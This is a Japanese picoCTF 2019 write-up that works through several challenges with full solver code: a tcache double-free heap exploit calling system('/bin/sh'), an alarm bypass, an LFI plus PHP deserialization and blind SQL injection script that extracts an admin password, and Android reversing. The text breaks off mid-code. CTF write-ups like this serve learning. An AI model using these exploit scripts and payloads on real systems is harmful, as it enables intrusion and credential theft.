今回は、kusanoさんのwriteupの写経になってしまいましたが、なんとか最後まで理解できたかな、というとこまで行けたので、コードにコメントを突っ込みまくる形でwriteupとさせていただきます…。オリジナルのwritupはこちら。
picoCTFのshell serverで実行するんですけど、python2系でしたね…。
$ python --version Python 2.7.17 $ pip freeze | grep pwntools pwntools==3.12.2
幸いpwntoolsが入っているので、python2系でpwntoolsを使って解くスクリプトを組みます。
#!/usr/bin/env python2 # -*- coding:utf-8 -*- # reference: https://qiita.com/kusano_k/items/0e9d29ee9f6bda614a1d#ghost_diary---points-500---solves-68---binary-exploitation from pwn import * e = ELF('./ghostdiary') context.binary = e p = process('./ghostdiary') def create(size): print('start create') p.sendline('1') """ 1. Write on one side? # only use one side mode. 2. Write on both sides? """ if size <= 0xf0: p.sendlineafter('> ', '1') else: p.sendlineafter('> ', '2') p.sendlineafter('size: ', str(size)) idx = int(p.recv().split('\n')[0].split('#')[1].strip()) print('idx: ' + str(idx)) return idx def talk(idx, content): # edit print('start talk') p.sendline('2') p.sendlineafter('Page: ', str(idx)) p.sendlineafter('Content: ', content) return def listen(idx): # show print('start listen') p.sendline('3') p.sendlineafter('Page: ', str(idx)) content = p.recv().split('\n')[0][9:] print(content + '\n') return content def burn(idx): # free print('start burn') p.sendline('4') p.sendlineafter('Page: ', str(idx)) return ### main ### # 1. NullByteOverflowを使って、libcのアドレスをリークする (Libc-Leak) # 2. DoubleFreeからのfree_hookを使って、systemをcallする (Control Instruction Pointer) # サイズ0x100のtchacheを使い切る # 0x100のtcacheを使いたいが、0x100のサイズはghost diaryの仕様上取れない # ので、A,Bの2つの領域を利用し、AのNullByteOverflowを使ってBの領域(size, in_use)を上書き for i in range(7): A = create(0x18) B = create(0x118) talk(A, 'A'*0x10 + pack(0x20)) """ 0x0000000000000000 0x0000000000000019 A 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000119 B 0x0000000000000000 0x0000000000000000 ... これが、Null byte overflow のおかげで 0x0000000000000000 0x0000000000000019 A 0x4141414141414141 0x4141414141414141 0x0000000000000020 0x0000000000000100 B 0x0000000000000000 0x0000000000000000 ... こうなる。 Bのinuse_bitは0x0に、サイズは0x100になる。 """ burn(B) """ 0x100サイズのtcacheに追加 """ # 今度は0x120のtcacheを使い切る その1 (mallocのみ) T = [] for i in range(7): T += [create(0x118)] # tcacheを埋める前に、攻撃に使用する領域を確保 A = create(0x118) B = create(0x18) C = create(0x118) X = create(0x18) # 今度は0x120のtcacheを使い切る その2 (free) for t in T: burn(t) # Aをfreeすると、Aの先頭領域にFD, BKが書かれる burn(A) """ 0x0000000000000000 0x0000000000000119 A 0x000000XXXXXX(FD) 0x000000XXXXXX(BK) ... 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000019 B 0x0000000000000000 0x0000000000000000 """ # Cのサイズを0x121から0x100に、NullByteOverflowを利用して書き換え talk(B, 'A'*0x10 + pack(0x140)) """ 0x0000000000000000 0x0000000000000019 B 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000119 C 0x0000000000000000 0x0000000000000000 ... これが、Null byte overflow のおかげで 0x0000000000000000 0x0000000000000019 B 0x4141414141414141 0x4141414141414141 0x0000000000000140 0x0000000000000100 C 0x0000000000000000 0x0000000000000000 ... こうする。 Cのinuse_bitは0x0に、サイズは0x100になる。 """ # Cを分割し、サイズ0x100の領域(C) + 0x20(その次)の2個のチャンクと同等な状態にする # すると、分割後の上の領域からC(上),B,Aの領域が、大きな一つのfreed chunkと認識される talk(C, 'a'*0xf8 + pack(0x21)) burn(C) """ 0x0000000000000140 0x0000000000000100 C 0x0000000000000000 0x0000000000000000 0x00 - 0x10 ... 0x0000000000000000 0x0000000000000000 0xf8 - 0x100 0x0000000000000000 0x0000000000000000 0x100 - 0x110 0x0000000000000000 0x118 (本来ここまでで一つのC) これを 0x0000000000000140 0x0000000000000100 C 0x4141414141414141 0x4141414141414141 0x00 - 0x10 ... 0x4141414141414141 0x0000000000000021 0xf8 - 0x100 (ここまでが0x100のchunk) 0x0000000000000000 0x0000000000000000 0x100 - 0x110 0x0000000000000000 0x110 - 0x118 (ここまででもう一つの0x20のin-use cunk) こうする """ # サイズ0x120のtcacheを空にする for i in range(7): create(0x118) # 再び0x118サイズのchunkをmallocすることで、FD,BKが、Bだった領域に移動 A = create(0x118) """ 0x0000000000000000 0x0000000000000119 A 0x0000000000000000 0x0000000000000000 ... 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000019 B 0x000000XXXXXX(FD) 0x000000XXXXXX(BK) """ # Bのポインタはそのまま生きているので、listenして中身を取得 unsort = listen(B) print unsort unsort = unpack(unsort.ljust(8, '\0')) print 'unsort: %x'%unsort # libc_baseとの差分を考慮して、libc_baseアドレスを計算 libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') libc.address = unsort - (0x3ebc40+0x60) print 'libc: %x'%libc.address # ここから、DoubleFreeを利用して、freeをsystemでhook, free時にsystemを発火させる # Bと同じサイズの領域を確保すると、上記でfreeリストの戦闘に入っているBと同じアドレスが返却される B2 = create(0x18) # B2 = B # double free burn(B) burn(B2) """ この状態で、freeのlink listは下記のようになる。 [free link] B2 -> B -> B2 -> B -> ... (B2 = B のため) """ # tcacheからの取り外しを利用して、__free_hookにsystemを代入 # __free_hookについては https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html 参照。 B = create(0x18) talk(B, pack(libc.symbols.__free_hook)) """ user area に書き込みをしたが、まだ同じ領域がfree link listに残っているので、free chunkとしても使える free chunk としてのBは、上記の talk 後に *FD = __free_hook に置き換わる [free link] B -> __free_hook """ # free list 消費 B = create(0x18) """ [free link] __free_hook """ # freeをhookしてsystemに書き換え B = create(0x18) # ここで取った領域が __free_hook の領域 talk(B, pack(libc.symbols.system)) # 次にfreeしたときに上記の仕掛けが発動する B = create(0x18) talk(B, '/bin/sh') burn(B) # free を system で hook したので、下記のburnの中でfreeの代わりにsystemが呼ばれ、引数が'/bin/sh' # すなわち system('/bin/sh')がcallされる p.interactive()
picoCTFのshell serverの自分のhome~/
にはファイルを作成可能なので、この場所にソルバを配置。指定されたディレクトリ/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb
から、下記のように実行します。
$ python ~/solve.py
実行結果
[*] '/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb/ghostdiary' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './ghostdiary': pid 4150638 start create ...(略)... libc: 7f3097491000 ...(略)... [*] Switching to interactive mode $ ls flag.txt ghostdiary ghostdiary.c $ cat flag.txt picoCTF{nu11_byt3_Gh05T_41a29ece}
٩(๑❛ᴗ❛๑)尸
最終的にここでshell取った後、ソースコードも確認できる。
tcacheが導入されたのが2017年8月以降、ということはかなり最近のUpdate。ついていくのは大変だなぁ。
[Reversing] Time's Up, For the Last Time! (500pt)
You've solved things fast. You've solved things faster! Now do the impossible. times-up-one-last-time, located in the directory at /problems/time-s-up--for-the-last-time-_0_6e1c5a9779c6efc2929c35b40e1d9bb9.
Hints
Some times, if some approach seems impossible, it means a different perspective might be needed. Is there anything interesting about how the program behaves?
Time's Up の最終問題。一つ前のTime's Up, Again! でさえ、だいぶ力技で無理やり解いた感じなので、もう無理…。という気持ち。
実行してみます。
$ ./times-up-one-last-time Challenge: (((((-1802092232) r (640223861)) | ((-1311414522) + (-642068867))) / (((2013104559) % (511012683)) t ((-281788312) t (1227506528)))) o ((((331348176) | (-426266050)) f ((1030130632) o (-565669168))) x (((385918776) f (154499740)) & ((-1957063074) x (-805592857))))) Setting alarm... Solution? Alarm clock
これまでの問題と形式は全く一緒…。ん?t
とかr
とか入ってるぞ…何だ?
ghidraでdecompileしてもらいます。まずはmainのみ。※関数。変数名は付け直し済、コメント追加済。
undefined8 main(void) { load_urandom(); printf("Challenge: "); make_random_answer(); // fill data_answer putchar(10); fflush(stdout); puts("Setting alarm..."); fflush(stdout); ualarm(10,0); printf("Solution? "); __isoc99_scanf(&DAT_001011b8, &data_input); if (data_input == data_answer) { puts("Congrats! Here is the flag!"); system("/bin/cat flag.txt"); } else { puts("Nope!"); } return 0; }
ということで、make_random_answer()
関数で生成した答えとユーザー入力があっていればflagを表示してくれるようです。o
やt
などの処理を探るべく、更に詳細のdecompile結果を見てみます。
結構長いですが、culc()
関数に上記の答えがありました。基本的にランダムに値・オペレーターを生成して再帰的に数式を生成しているようです。o
,t
, etc... は独自オペレーターのようです。
void load_urandom(void) { time_t tVar1; tVar1 = time((time_t *)0x0); srand((uint)tVar1); data_urandom = fopen("/dev/urandom","r"); return; } void make_random_answer(void) { data_answer = _make_random_answer(4); return; } long _make_random_answer(uint num) { char operator; int iVar2; uint num1; uint num2; long result; undefined8 param1; undefined8 param2; if (num == 0) { data = read_urandom(); result = (long)data; printf("(%lld)",(long)result); } else { num1 = random_decrease((ulong)num); // 0~4 num2 = random_decrease((ulong)num); // 0~4 operator = make_random_operator(); putchar(0x28); // ( param1 = _make_random_answer((ulong)num1); printf(" %c ",(ulong)(uint)(int)operator); param2 = _make_random_answer((ulong)num2); putchar(0x29); // ) result = culc((ulong)(uint)(int)operator,param1,param2); } return result; } ulong random_decrease(uint num) { // 引数を一定確率で1ひいて返す int val; val = rand(); if (0 < val % 0x32) { num = num - 1; } return (ulong)num; } ulong make_random_operator(void) { int random; undefined16 list_operators; list_operators = hex("&|^%/*-+rtxfo") random = rand(); return (ulong)*(byte *)((long)&list_operators + (ulong)(long)random % 0xd); } ulong culc(undefined operator, ulong param1, ulong param2) { switch(operator) { case 0x25: // % if (param2 != 0) { param1 = (long)param1 % param2; } break; case 0x26: // & param1 = param1 & param2; break; default: exit(1); case 0x2a: // * param1 = param1 * param2; break; case 0x2b: // + param1 = param2 + param1; break; case 0x2d: // - param1 = param1 - param2; break; case 0x2f: // / if (param2 != 0) { param1 = (long)param1 / (long)param2; } break; case 0x5e: // ^ param1 = param1 ^ param2; break; case 0x66: // f break; case 0x6f: // o param1 = param2; break; case 0x72: // r param1 = param2; break; case 0x74: // t break; case 0x78: // x param1 = param2; break; case 0x7c: // | param1 = param1 | param2; } return param1; } undefined8 read_urandom(void) { undefined8 buff; fread(&buff, 8, 1, data_urandom); return buff; }
これで、数式に対する答えを計算するソルバは作れそう。
次に、このシリーズの問題の最大の関心どころであるタイマーの設定を見てみます。
ualarm(10,0); // 10マイクロ秒
最初の問題から、5000 -> 200 -> 10
と、もうむっちゃ短くなっています…。これは根本的にやり方を変えないとダメそう。
もしソルバを書いたとしても、計算して出力するまでを10マイクロ秒以内に出来る気がしない…。
ここで、ヒントをもう一度見返してみます。
Some times, if some approach seems impossible, it means a different perspective might be needed. Is there anything interesting about how the program behaves?
different perspective might be needed. フム…。
やっぱりここは速さ勝負ではなく、最初の問題 Time's Up で取ろうとしたアプローチ、アラームを切る・無効化する事を考えたほうが良さそう。
radare2はpicoCTFのserverにはinstallされておらず。objdump, gdbでシグナルを切って試してみるも、permission denied. でflag.txtが読めませんでした。これ以上のシグナルを切るやり方が分からなかったので、下記のwriteupを参考に、cでシグナルを無視してプロセスを立ち上げるプログラムを作る方法を試しました。
#include <stdio.h> #include <stdlib.h> #include <signal.h> /* reference */ /* https://github.com/AMACB/picoCTF-2019-writeups/blob/master/problems/times-up-for-the-last-time/README.md */ int main() { signal(SIGALRM, SIG_IGN); system("./times-up-one-last-time"); }
このcプログラムを、picoCTFのhomeディレクトリに作成します。
$ cd ~ $ vi stop_sig.c (上記コード貼り付け) $ gcc stop_sig.c -o stop_sig
ちなみに、問題のソルバは書こうと思ったのですが、面倒なのでアルファベットの演算子のみ手動で置き換えて、pythonのevalに投げて計算しました。
$ cd /problems/time-s-up--for-the-last-time-_0_6e1c5a9779c6efc2929c35b40e1d9bb9 $ ~/stop_sig Challenge: (((((-99509026) - (1731675797)) * ((-684291702) t ((1086017244) o (18822725)))) - ((((-136998396) r (1230855129)) x ((-434847125) r (2105068334))) t ((-1354918200) & (-296842297)))) - ((((-932055871) % (-85752728)) + ((-612173569) x (-1924591031))) + (((666883582) / (1482560764)) r ((-1301461968) / (-474187145))))) Setting alarm... Solution? 1253064579101290032 Congrats! Here is the flag! picoCTF{And now you can hack time! #0f00cb4e}
[Web] cereal hacker 2 (500pt)
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
今回もヒントなしです。指定のリンクに飛んでみると、cereal hacker 1 と同じ見た目のサイトに。
1と同じようにguest
ユーザーでサインインしようとしますが、今回はできません。
そもそも今回の目的は、adminのパスワードをGETすることのようです。
色々いじってみます。
さっきのadmin用cookieを使ってadminページにアクセスしてみましたが、今回はだめみたいです。not admin!といわれてしまいました。
次に、そう言えばクエリのところにもある意味脆弱性があったよな、と思い、クエリにfile=flag.txt
を入れてアクセスしてみます。
前の問題ではこうだったのが
今回の問題ではこうなりました。
なにやら内部処理が変わっている予感です。試しに?file=index.php
にアクセスしてみると、blankページですが確かに応答がありました。
他にも、admin.php
, regular_user
, login.php
が見つかりました(手作業)
しかし、どのページもblankページで何も表示されません。ググっていると、こんなのが見つかりました。
MeePwn CTF 1st 2017 の write-up - st98 の日記帳 [Web 500] TooManyCrypto。
今回もこの問題のように、LFI(Local File Inclusion)
攻撃が使えるかもしれません。
こちらも実際の攻撃パターンが載っていて勉強になります。このあたりを参考にして、下記のurlを生成してそれぞれのコードを取得します。まずは index.php
http://2019shell1.picoctf.com:62195/index.php?file=php://filter/convert.base64-encode/resource=index
見えにくいですが、こんなページが返ってきました。やったー!
この文字列をbase64 decodeしてやります。
index
<?php if(isset($_GET['file'])){ $file = $_GET['file']; } else{ header('location: index.php?file=login'); die(); } if(realpath($file)){ die(); } else{ include('head.php'); if(!include($file.'.php')){ echo 'Unable to locate '.$file.'.php'; } include('foot.php'); } ?>
おお!めでたくphpのソースが入手できました!同様にして、他のソースも入手します。
admin.php
<?php
require_once('cookie.php');
if(isset($perm) && $perm->is_admin()){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the admin page!</h5>
<h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not admin!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
regular_user
<?php
require_once('cookie.php');
if(isset($perm)){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the regular user page!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not logged in!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
login
<?php require_once('../sql_connect.php'); require_once('cookie.php'); if(isset($_POST['user']) && isset($_POST['pass'])){ if(isset($_COOKIE['user_info'])){ unset($_COOKIE['user_info']); } $u = $_POST['user']; $p = $_POST['pass']; if($sql_conn_login->connect_errno){ die('Could not connect'); } if (!($prepared = $sql_conn_login->prepare("SELECT username, admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $u, $p); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows === 1){ $perm = new permissions($u, $p); setcookie('user_info', urlencode(base64_encode(serialize($perm))), time() + (86400 * 30), "/"); header('Location: index.php?file=login'); } else{ $error = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } $sql_conn_login->close(); } else if(isset($perm) && $perm->is_admin()){ header('Location: index.php?file=admin'); die(); } else if(isset($perm)){ header('Location: index.php?file=regular_user'); die(); } ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Sign In</h5> <?php if (isset($error)) echo $error;?> <form class="form-signin" action="index.php?file=login" method="post"> <div class="form-label-group"> <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus> <label for="user">Username</label> </div> <div class="form-label-group"> <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required> <label for="pass">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> </form> </div> </div> </div> </div> </div> </body>
ここで、index
に出てきたhead.php
,foot.php
もとってきてみましたが、対して情報無かったので割愛。
同様に、他のページに出てきているcookie.php
も取ってきます。
<?php require_once('../sql_connect.php'); // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $this->username, $this->password); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows !== 1){ $is_admin_val = 0; } else{ $is_admin_val = (int)$r[0][0]; } $sql_conn->close(); return $is_admin_val; } } /* legacy login */ class siteuser { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; $result = $sql_conn->query($q); if($result->num_rows != 1){ $is_user_val = 0; } else{ $is_user_val = 1; } $sql_conn->close(); return $is_user_val; } } if(isset($_COOKIE['user_info'])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info']))); } catch(Exception $except){ die('Deserialization error.'); } } ?>
気になるコメントが。
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie / legacy login /
どうやらcookieの中に全部必要な情報を埋めちゃえ!ってことのようです。
最後に、../sql_connect
も取得できたので取ってきておきます。
../sql_connect
<?php $sql_server = 'localhost'; $sql_user = 'mysql'; $sql_pass = 'this1sAR@nd0mP@s5w0rD#%'; $sql_conn = new mysqli($sql_server, $sql_user, $sql_pass); $sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass); ?>
ムムム…。パスワードっぽいの出てきたと思ったけど、sqlのmysql
ユーザのだ。そんなに甘くなかった。
さて、ソースを眺めると、今回はadminユーザーでないとログインできないようです。
前回同様 cookie に入れた username, password を使って SQL Injection ができそうなので、これを使って条件にはまるクエリを組み立てていきます。
adminページを攻撃クエリのあるcookieで表示させると、刺さった時はadminとして、だめだった場合はadmin以外としてのレスポンスが返ってきます。この応答の違いを利用して、一文字ずつパスワードを求めていく Blind SQL Injection が使えそうです。
ちなみに、ここまで考えたけどadmin認定されるcookieが作れず、またpicoCTFのGameの方でさらなるヒントを貰いに行ってみたところ、
Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.
あああああ!今これ考えてたところーー!!!ってなった。HackerToken 500pt 損した!!
ということで、刺さるクエリ探し中。
…なかなかadmin認定されない…。ムムム…。
競技期間中の手記はここで途絶えている。
ほんとにこんなにメモしながらやってるの?と言われそうだけど、なんと全部メモしてた。ぶつぶつ言いながらCTFしてる。この手記を書いてから丸2ヶ月経ったわけだけど、読み返すまで全く覚えていなかった。こんな事してたねぇ。
おちついて、もう一度cookie.php
を読んでみます。classが2つpermissions
とsiteuser
があり、cookieにはpermissions
の方を読むように指定して送っています。permissions
の新しいSQLクエリでは、プリペアドステートメントが使われているため、SQL injectionがしにくくなっています。siteuser
のクエリには SQL injection の余地がありそうなので、こちらを読むように指定してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import base64 import urllib.parse import requests url = "http://2019shell1.picoctf.com:62195/index.php?file=admin" def rewrite_param(username, password): param = b"""O:8:"siteuser":2:{s:8:"username";s:""" + \ str(len(username)).encode() + b':"' + username + \ b"""";s:8:"password";s:""" + \ str(len(password)).encode() + b':"' + password + \ b"""";}""" return param attack_param = rewrite_param(b"admin", b"' OR 'a'='a") # 最後に'が付く print(attack_param) attack_cookie = urllib.parse.quote(urllib.parse.quote(base64.b64encode(attack_param))) print(attack_cookie) cookies = {'user_info': attack_cookie} res = requests.get(url, cookies=cookies) print('HTTP StatusCode: ' + str(res.status_code)) if res.status_code != 500: if 'You are not admin!' in res.text: print('!!!!NOT ADMIN!!!!') else: print(res.text)
実行結果
$ python test.py b'O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"\' or \'a\'=\'a";}' Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnYSc9J2EiO30%253D HTTP StatusCode: 200 <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Welcome to the admin page!</h5> <h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5> </div> </div> </div> </div> </div> </body> </html>
おお!adminとして入れました!これで blind injection できそう!SUBSTR
関数を用いて、先頭から一文字ずつ確認していきます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import base64 import urllib.parse import requests import string url = "http://2019shell1.picoctf.com:62195/index.php?file=admin" candidates = """abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789!$-.<=>?@_""" def rewrite_param(username, password): param = b"""O:8:"siteuser":2:{s:8:"username";s:""" + \ str(len(username)).encode() + b':"' + username + \ b"""";s:8:"password";s:""" + \ str(len(password)).encode() + b':"' + password + \ b"""";}""" return param if __name__ == '__main__': flag = b'' while b'}' not in flag: for c in candidates: try_pass = flag + c.encode() attack_param = rewrite_param(b"admin", b"' OR SUBSTR(password,1," \ + str(len(try_pass)).encode() + b")='"+ try_pass) #print(attack_param) attack_cookie = urllib.parse.quote(urllib.parse.quote(base64.b64encode(attack_param))) cookies = {'user_info': attack_cookie} res = requests.get(url, cookies=cookies) if res.status_code != 500: if 'Welcome to the admin page!' in res.text: flag += c.encode() print(flag) break else: print('*', end='') print(b'flag: ' + flag)
実行結果
$ python test.py ***************b'p' ********b'pi' **b'pic' **************b'pico' **b'picoc' *******************b'picoct' (中略) *b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb' *************************************************************b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7' *****************************************************b'picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7}' b'flag: picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7}'
結構長かった!picoctf
はpicoCTF
に変換。
競技中は、cookieに使用する関数を指定しているところがあるのに気づかなかった。勉強になりました。
[Reversing] droids4 (500pt)
reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.
これまでと同様、four.apk
が配布されます。てっきりthreeでおしまいだと思ってましたが、まだ続いていました、このシリーズ。
いつものようにAndroidStudioで開いて、four
> java
> com.hellocmu
> picoctf
> FlagstaffHill
を覗いてみます。長い!
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) package com.hellocmu.picoctf; import android.content.Context; public class FlagstaffHill { public FlagstaffHill() { } public static native String cardamom(String s); public static String getFlag(String s, Context context) { context = new StringBuilder("aaa"); StringBuilder stringbuilder = new StringBuilder("aaa"); StringBuilder stringbuilder1 = new StringBuilder("aaa"); StringBuilder stringbuilder2 = new StringBuilder("aaa"); context.setCharAt(0, (char)(context.charAt(0) + 4)); context.setCharAt(1, (char)(context.charAt(1) + 19)); context.setCharAt(2, (char)(context.charAt(2) + 18)); stringbuilder.setCharAt(0, (char)(stringbuilder.charAt(0) + 7)); stringbuilder.setCharAt(1, (char)(stringbuilder.charAt(1) + 0)); stringbuilder.setCharAt(2, (char)(stringbuilder.charAt(2) + 1)); stringbuilder1.setCharAt(0, (char)(stringbuilder1.charAt(0) + 0)); stringbuilder1.setCharAt(1, (char)(stringbuilder1.charAt(1) + 11)); stringbuilder1.setCharAt(2, (char)(stringbuilder1.charAt(2) + 15)); stringbuilder2.setCharAt(0, (char)(stringbuilder2.charAt(0) + 14)); stringbuilder2.setCharAt(1, (char)(stringbuilder2.charAt(1) + 20)); stringbuilder2.setCharAt(2, (char)(stringbuilder2.charAt(2) + 15)); if(s.equals("".concat(stringbuilder1.toString()).concat(stringbuilder.toString()).concat(context.toString()).concat(stringbuilder2.toString()))) return "call it"; else return "NOPE"; } }
上記のgetFlag
で文字列をワチャワチャしているところを復号するとcall it
と表示してくれるようです。droids3同様、今回もlibhellojni.so
が付いており、いろんな関数が埋め込まれているので、復号すると呼ぶべき関数名を表示してくれるんでしょうか。やってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- context = list('aaa') stringbuilder = list('aaa') stringbuilder1 = list('aaa') stringbuilder2 = list('aaa') context[0] = chr(ord(context[0])+4) context[1] = chr(ord(context[1])+19) context[2] = chr(ord(context[2])+18) stringbuilder[0] = chr(ord(stringbuilder[0])+7) stringbuilder[1] = chr(ord(stringbuilder[1])+0) stringbuilder[2] = chr(ord(stringbuilder[2])+1) stringbuilder1[0] = chr(ord(stringbuilder1[0])+0) stringbuilder1[1] = chr(ord(stringbuilder1[1])+11) stringbuilder1[2] = chr(ord(stringbuilder1[2])+15) stringbuilder2[0] = chr(ord(stringbuilder2[0])+14) stringbuilder2[1] = chr(ord(stringbuilder2[1])+20) stringbuilder2[2] = chr(ord(stringbuilder2[2])+15) print(''.join(stringbuilder1 + stringbuilder + context + stringbuilder2))
実行結果
$ python solve.py alphabetsoup
試しにこれをAndroidStudioのエミュレーターで立ち上げたアプリに入れてみると、call it
と表示されました。
しかし、libhellojni.so
を探してもalphabetsoup
みたいな関数は見つかりません。。。
困ったなーと思いつつ、出力されたjavaファイルを眺めていたら、長い処理に埋もれてこんな一行が。
public static native String cardamom(String s);
わからんけど、引数String s
だし、さっきのalphabetsoup
をこれに突っ込んだらflag出てくるかな?
libhellojni.so
をghidraに突っ込んでdecompileしてもらいました。今回はcardamom
関連のソースを引っ張ってきました。
undefined8 Java_com_hellocmu_picoctf_FlagstaffHill_cardamom (longlong *plParm1,undefined8 uParm2, undefined8 uParm3) { byte is_valid; undefined8 c; char *message; c = (**(code **)(*plParm1 + 0x548))(plParm1,uParm3); is_valid = chervil(c); (**(code **)(*plParm1 + 0x550))(plParm1,uParm3,c); if ((is_valid & 1) == 0) { message = "try again"; } else { message = (char *)pepper(c); } c = (**(code **)(*plParm1 + 0x538))(plParm1,message); free(message); return c; } ulonglong chervil(char *c) { int iVar1; char *cp_c; char *pcVar3; char *pcVar4; char *pcVar5; char *__s; cp_c = strdup("aaa"); pcVar3 = strdup("aaa"); pcVar4 = strdup("aaa"); pcVar5 = strdup("aaa"); *cp_c = *cp_c + '\x04'; cp_c[1] = cp_c[1] + '\x13'; cp_c[2] = cp_c[2] + '\x12'; *pcVar3 = *pcVar3 + '\a'; pcVar3[1] = pcVar3[1]; pcVar3[2] = pcVar3[2] + '\x01'; *pcVar4 = *pcVar4; pcVar4[1] = pcVar4[1] + '\v'; pcVar4[2] = pcVar4[2] + '\x0f'; *pcVar5 = *pcVar5 + '\x0e'; pcVar5[1] = pcVar5[1] + '\x14'; pcVar5[2] = pcVar5[2] + '\x0f'; __s = (char *)calloc(100,1); sprintf(__s,"%s%s%s%s",pcVar4,pcVar3,cp_c,pcVar5); iVar1 = strcmp(__s,c); return (ulonglong)(iVar1 == 0); } void pepper(char *c) { size_t len_c; char *cp_c; cp_c = strdup(c); len_c = strlen(c); unscramble(&DAT_00101db8,0x1f,cp_c,(ulonglong)len_c); return; } void * unscramble(int data, size_t size, int key, int 